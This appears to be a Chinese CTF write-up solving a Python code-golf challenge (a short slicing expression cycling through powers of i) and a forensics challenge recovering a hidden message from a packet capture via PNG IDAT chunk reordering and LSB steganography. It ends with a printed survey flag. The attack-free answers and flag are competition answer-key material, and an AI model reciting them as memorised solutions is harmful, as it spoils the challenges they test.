assert all(R(i) == i_pow(i) for i in range(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195))
print(flag)
简单分析小心求证,要做到完成检测,我们要做的事情简而概之就是:①表达式的输出要随着i的递增呈现周期性的变化(周期为4) ②表达式的输出要根据不同的值输出不同的特定字符
然后就是看怎么实现这个功能了,lambda表达式也是经常考的一个点,但我真不会)可以找些文章看看,比如https://www.runoob.com/python3/python-lambda.html
然后问问大模型。直接让大模型出结果是不行的,但是可以从它的思考中分析出有用的内容,这边我问的是grok3:
它的思考中提到了这一种表达式,验证过可以完成我们的任务,但是字符长度超出16
因为不熟悉,所以简单分析这个表达式的实现(可以丢给大模型解释一下),其实根据输出和表达式不难推测出,这个表达式通过+号拼接了两个部分的内容:
'-'*((i&3)>1) ——>通过判断后面的(i&3)>1是否为True,然后生成负号
'1i'[i&1] ——>通过[]内的按位与操作得到索引0或1,然后输出1或i
可以看到后半部分已经可以大致实现我们要的功能,但它只能输出一个字符,不是1就是i
到此,我们接着看看大模型给了什么内容吗,其中给出了这么一个思路,通过检验发现输出是错误的,但是提供了一些新的思路
[]中的::
表示切片操作,根据其后面的数字(即步长),逐位提取字符,结合前面的求余操作,他也可以实现周期性输出特定字符的功能,并且他可以输出不止一个字符,那意味着输出-1和-i成为可能
所以在此基础上,我们来搓一下这个表达式(直接问大模型问不出来的,还是太傻了)
结合上面的两种思路,我们选择用字符串索引+切片操作来构建我们的表达式(不选择用+号拼接,可以减少字符串长度)
下面这个简单的表达式,可以实现周期为4的特定输出,当i&3==0时,它会从索引0开始,以步长为2逐步提取有的字符,最后输出-i,当i&3==1时,它会从索引1开始,以步长为2逐步提取有的字符,最后输出1(因为加2后索引变成3已经超出了字符串长度,所以不会再加内容),以此类推
'-1i'[i&3::2]
输出如下:
-i
1
i
-i
1
i
所以我们要做的就是,让索引等于0时,字符串第一位是1,同时不能提取多余的字符,索引为1时,字符串第二位为i,也不能提取多的字符,索引为2时,字符应该对应负号,且通过切片操作能指定到1,索引为3时类同,可以推出字符串应该如下:
'1i--'
那么接下来就是如何实现周期和切片该怎么切了,可以知道周期是4,那么只需要按位与3或者对4求余即可,而切片操作需要在索引为2和3时才能提取到第二个字符,根据前面提到的当提取的索引超出字符串时将不再拼接字符,所以我们可以使用负步长来实现这个操作,表达式如下
[i&3::-2]
结合一下我们可以得到,当索引为0时,字符串锁定到1,而步长为-2将向左位移提取索引为-2的字符(显然没有),遂输出1;当索引为1时,字符串锁定到i,,而步长为-2将向左位移提取索引为-1的字符(显也没有);当索引为2时,字符串锁定到-
,并向左位移到索引0锁定到1,最后输出-1,索引为3时类同
而且,刚刚好他的长度是15,符合我们的要求,提交后可得到flag
'1i--'[i&3::-2]
1
i
-1
-i
后续补充: 既然通过切片的负步长可以实现我们要的功能,那同理正步长是否也能实现呢?
步长为正时,切片操作会将索引值向右位移,那么可以想到,如果我们按照前面的思路进行按位与(&)或取余(%)操作时,当索引值为0时,第一次的输出就会变成两个字符(索引0的字符+索引2的字符),这显然是不符合我们的条件——第一次输出只有一个字符(1)
回想一下前面的内容,当我们进行按位与(&)或取余(%)操作,实际上索引值将会从0开始,向右位移,直到索引值变为3后再变为0往复循环,与此同时切片操作的负步长则是实现了向左位移。可以发现,没错,两个操作的移动方向是相反的。
那么,当我们的切片操作使用正步长,即向右位移时,那我们只要想办法让按位与(&)或取余(%)操作的循环向左位移就好,也就是变成3 2 1 0
的序列。理论可行,开始实践:不熟悉python语法的话,我们可以直接问问大模型有没有什么办法实现这个操作,其中他给了这么一种方法:
通过按位取反~
操作,可以使得我们的序列翻转,实现3 2 1 0
的输出
遂,我们可以构建这样的表达式,简单理解一下这两个式子:当i取0时,通过按位取反,并结合取余,使得字符串可以锁定到索引为3的字符,即1
,而步长为2将向右位移提取索引为5的字符(显然没有),遂输出1;当i取1时,通过按位取反,并结合取余,使得字符串可以锁定到索引为2的字符,而步长为2将向左位移提取索引为4的字符,所以输出i
;当i取2时,通过按位取反,并结合取余,使得字符串可以锁定到索引为1的字符,并向右位移到索引3锁定到1,最后输出-1;i取3时类同
'--i1'[~i%4::2]
'--i1'[~i&3::2]
因此最后我们可以得到四种符合条件的表达式
'--i1'[~i%4::2]
'--i1'[~i&3::2]
'1i--'[i%4::-2]
'1i--'[i&3::-2]
喜欢就说出来
知识点省流
流量取证+IDAT块隐写+lsb隐写+十足的脑洞
WP
小Shark在上课时和自己的暗恋对象坐在了一起,小Shark想要把悄悄话和文件传给同桌,可惜小Shark没有移动硬盘,不过这难不住聪明的小Shark,小Shark在同桌的电脑上敲了几下键盘,用自己的浏览器给同桌试传了两张自己的照片和一句悄悄话,你能发现小Shark对同桌说了什么吗?会不会是......520?!呢?
题目信息如上,很重要!
下载得到一个pcapng文件,wireshark走一波,因为说是浏览器发送了文件,所以直接分析http协议,开局就来看看导出http对象,发现传了一个php文件,保存下来看看
010打开发现其实是png图片,但打开图片什么都没有,用tweakpng看看,发现有两个IHDR头,已经四种不同大小的IDAT块,并且打乱了顺序,显然藏东西了
两个IHDR头表明有两张图片(符合题目描述),手动还原一下即可(不难的,一个一个摆正位置只到图片显示完整)↓这是其中一张,另一张就不放了
处理完后,发现其中一半的flag就在图片里 (君日本语本当上手啊)
那么不难猜到另一半就在另一张图片,这边用了各种手段都没解出来,遂打算丢到ps调一下参数看看会不会有信息,结果在图片左上角发现了几个很特别的像素点,遂果断猜测是lsb隐写
但这里前面也试过用zsteg和stegsolve分析,都没有得到明显的信息,想到可能是stegsolve的通道选的不对,因此在这边牢了半天
最后的最后,在挑选通道的过程中我意识到了这个通道不也有数字,题目描述中还特地提到了520,估计是有关系的
结果还真是,rgb三通道分别勾上5 2 0即可找到flag的下半部分
(我说实话shark师傅你同桌这能找到你的悄悄话吗)
问卷
flag{TH@NK_U!WE_H0P3_Y0U_H@VE_FU7!H@PPY_H@CKING!}